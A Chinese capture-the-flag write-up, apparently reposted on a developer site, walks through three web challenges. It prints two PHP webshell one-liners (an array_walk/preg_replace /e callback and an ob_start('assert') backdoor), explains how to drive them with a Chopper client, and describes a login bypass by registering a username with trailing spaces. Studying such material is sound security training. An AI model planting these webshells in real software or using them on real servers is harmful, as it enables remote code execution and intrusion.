内容简介:week 9 for cnas writeup
http://47.100.121.220:28001/01.php
解答
<?php show_source(__FILE__); highlight_file('about.php'); ?> <?php $e = $_REQUEST['a']; $arr = array($_POST['b'] => '|.*|e',); array_walk($arr, $e, '');
如上代码,是一个 PHP 木马。是可以用菜刀连接的。
这里用到array_walk函数
array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。
array_walk(array,myfunction,userdata...)
参数 | 说明 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
网上给的是用assert函数,但是这里用assert不行。然后在学长的提醒下,这里提到|e,
所以可以用preg_replace函数.
如下图构造菜刀连接
或者直接hackbar
02 100
题目链接
http://47.100.121.220:28002/index.php
解答
<?php show_source(__FILE__); echo "</br>"; highlight_file('about.php'); echo "</br>"; highlight_file('echo.php'); ?> <?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); //关键缓存每5分钟清理一次。</br> <?php include "func.php"; $your_real_ip = real_ip(); $path = "temp/".$your_real_ip."_http_request_history.txt"; $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; echo $your_real_ip."</br>"; echo $url; $fout = null; if(file_exists($path)) { $fout = fopen($path, "ab") or die("Unable to open file!"); } else { $fout = fopen($path, "wb") or die("Unable to open file!"); } fwrite($fout, $url."\n"); fclose($fout); ?>
这里也提到了一种PHP木马的写法
<?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
ob_start(“assert”)的意思设置assert作为ob操作结束时回调函数,
这个PHP木马是没有回显的
但是在给出的echo.php的代码有给出一些提示
这里说到的是temp文件夹是有写的权限的。
所以如下执行
login 100
题目链接
解答
这个题目注册完账号登录后会提示你
您已登录成功,但只有nari用户才可以看到flag.
这里根本没有任何思路的,然后学长告诉我。
注册nari后加个空格就可以了,我一脸懵逼。他也不知道为什么?
所以我注册nari加两个空格进去了,拿到flag。
flag{a3afa127cfb57f423c7bc019587031020a2ce630}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MySQL技术内幕
姜承尧 / 机械工业出版社 / 2013-5 / 79.00元
《MySQL技术内幕:InnoDB存储引擎(第2版)》由国内资深MySQL专家亲自执笔,国内外多位数据库专家联袂推荐。作为国内唯一一本关于InnoDB的专著,《MySQL技术内幕:InnoDB存储引擎(第2版)》的第1版广受好评,第2版不仅针对最新的MySQL 5.6对相关内容进行了全面的补充,还根据广大读者的反馈意见对第1版中存在的不足进行了完善,《MySQL技术内幕:InnoDB存储引擎(第2......一起来看看 《MySQL技术内幕》 这本书的介绍吧!